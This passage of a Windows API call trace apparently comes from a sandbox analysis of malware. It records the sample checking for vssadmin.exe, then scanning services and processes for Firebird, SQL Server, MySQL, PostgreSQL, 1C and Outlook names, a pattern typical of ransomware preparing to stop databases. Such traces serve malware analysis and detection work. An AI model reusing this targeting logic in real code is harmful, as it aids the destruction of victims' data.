out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0209.348] CloseHandle (hObject=0x19c) returned 1 [0209.348] Sleep (dwMilliseconds=0x1f4) [0210.104] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6400b8 [0210.104] EnumServicesStatusExW (in: hSCManager=0x6400b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0210.105] GetLastError () returned 0xea [0210.105] EnumServicesStatusExW (in: hSCManager=0x6400b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e218, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e218, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0210.105] CloseServiceHandle (hSCObject=0x6400b8) returned 1 [0210.105] lstrlenW (lpString="Appinfo") returned 7 [0210.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0210.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0210.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0210.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0210.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0210.105] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0210.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.106] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0210.106] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0210.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0210.106] lstrlenW (lpString="AudioSrv") returned 8 [0210.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0210.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0210.106] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0210.106] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0210.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0210.106] lstrlenW (lpString="BFE") returned 3 [0210.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0210.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0210.106] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0210.106] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0210.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0210.106] lstrlenW (lpString="CryptSvc") returned 8 [0210.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0210.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0210.106] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0210.106] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0210.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0210.106] lstrlenW (lpString="CscService") returned 10 [0210.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0210.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0210.106] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0210.106] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0210.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0210.106] lstrlenW (lpString="DcomLaunch") returned 10 [0210.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0210.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0210.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0210.106] lstrlenW (lpString="Dhcp") returned 4 [0210.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0210.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0210.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0210.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0210.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0210.106] lstrlenW (lpString="Dnscache") returned 8 [0210.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0210.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0210.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0210.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0210.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0210.106] lstrlenW (lpString="DPS") returned 3 [0210.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0210.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0210.107] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0210.107] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0210.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0210.107] lstrlenW (lpString="eventlog") returned 8 [0210.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0210.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0210.107] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0210.107] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0210.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0210.107] lstrlenW (lpString="EventSystem") returned 11 [0210.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0210.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0210.107] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0210.107] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0210.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0210.107] lstrlenW (lpString="FontCache") returned 9 [0210.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0210.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0210.107] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0210.107] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0210.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0210.107] lstrlenW (lpString="gpsvc") returned 5 [0210.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0210.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0210.107] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0210.107] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0210.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0210.107] lstrlenW (lpString="iphlpsvc") returned 8 [0210.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.107] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0210.107] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0210.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0210.107] lstrlenW (lpString="LanmanServer") returned 12 [0210.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0210.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0210.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0210.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0210.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0210.108] lstrlenW (lpString="LanmanWorkstation") returned 17 [0210.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.108] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0210.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0210.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0210.108] lstrlenW (lpString="lmhosts") returned 7 [0210.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0210.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0210.108] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0210.108] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0210.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0210.108] lstrlenW (lpString="MMCSS") returned 5 [0210.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0210.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0210.108] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0210.108] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0210.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0210.108] lstrlenW (lpString="MpsSvc") returned 6 [0210.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0210.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0210.108] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0210.108] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0210.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0210.108] lstrlenW (lpString="Netman") returned 6 [0210.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0210.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0210.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0210.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0210.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0210.108] lstrlenW (lpString="netprofm") returned 8 [0210.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0210.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0210.108] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0210.108] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0210.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0210.108] lstrlenW (lpString="NlaSvc") returned 6 [0210.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0210.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0210.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0210.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0210.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0210.108] lstrlenW (lpString="nsi") returned 3 [0210.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0210.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0210.109] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0210.109] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0210.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0210.109] lstrlenW (lpString="PcaSvc") returned 6 [0210.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0210.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0210.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0210.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0210.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0210.109] lstrlenW (lpString="PlugPlay") returned 8 [0210.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0210.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0210.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0210.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0210.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0210.109] lstrlenW (lpString="Power") returned 5 [0210.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0210.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0210.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0210.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0210.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0210.109] lstrlenW (lpString="ProfSvc") returned 7 [0210.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0210.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0210.109] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0210.109] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0210.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0210.109] lstrlenW (lpString="RpcEptMapper") returned 12 [0210.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0210.109] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0210.109] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0210.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0210.109] lstrlenW (lpString="RpcSs") returned 5 [0210.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0210.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0210.109] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0210.109] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0210.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0210.109] lstrlenW (lpString="SamSs") returned 5 [0210.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0210.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0210.109] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0210.109] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0210.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0210.109] lstrlenW (lpString="Schedule") returned 8 [0210.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0210.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0210.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0210.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0210.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0210.110] lstrlenW (lpString="SENS") returned 4 [0210.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0210.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0210.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0210.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0210.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0210.110] lstrlenW (lpString="ShellHWDetection") returned 16 [0210.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0210.110] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0210.110] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0210.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0210.110] lstrlenW (lpString="Spooler") returned 7 [0210.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0210.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0210.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0210.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0210.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0210.110] lstrlenW (lpString="sppsvc") returned 6 [0210.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0210.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0210.110] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0210.110] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0210.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0210.110] lstrlenW (lpString="SysMain") returned 7 [0210.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0210.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0210.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0210.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0210.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0210.110] lstrlenW (lpString="Themes") returned 6 [0210.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0210.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0210.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0210.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0210.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0210.110] lstrlenW (lpString="TrkWks") returned 6 [0210.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0210.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0210.110] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0210.110] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0210.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0210.110] lstrlenW (lpString="UxSms") returned 5 [0210.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0210.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0210.111] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0210.111] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0210.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0210.111] lstrlenW (lpString="WdiServiceHost") returned 14 [0210.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0210.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0210.111] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0210.111] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0210.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0210.111] lstrlenW (lpString="WdiSystemHost") returned 13 [0210.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0210.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0210.111] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0210.111] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0210.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0210.111] lstrlenW (lpString="WinDefend") returned 9 [0210.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0210.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0210.111] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0210.111] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0210.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0210.111] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0210.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0210.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0210.111] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0210.111] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0210.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0210.111] lstrlenW (lpString="Winmgmt") returned 7 [0210.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0210.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0210.111] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0210.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0210.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0210.111] lstrlenW (lpString="wscsvc") returned 6 [0210.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0210.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0210.111] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0210.111] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0210.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0210.111] lstrlenW (lpString="wuauserv") returned 8 [0210.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0210.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0210.111] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0210.112] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0210.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0210.112] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0210.165] Process32FirstW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0210.166] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0210.166] lstrlenW (lpString="System") returned 6 [0210.166] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0210.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0210.166] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0210.166] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0210.166] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0210.166] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0210.166] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0210.166] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0210.167] lstrlenW (lpString="smss.exe") returned 8 [0210.167] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0210.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0210.167] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0210.167] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0210.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0210.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0210.167] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0210.167] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0210.168] lstrlenW (lpString="csrss.exe") returned 9 [0210.168] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0210.168] lstrlenW (lpString="wininit.exe") returned 11 [0210.168] Process32NextW (in: hSnapshot=0x200, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, 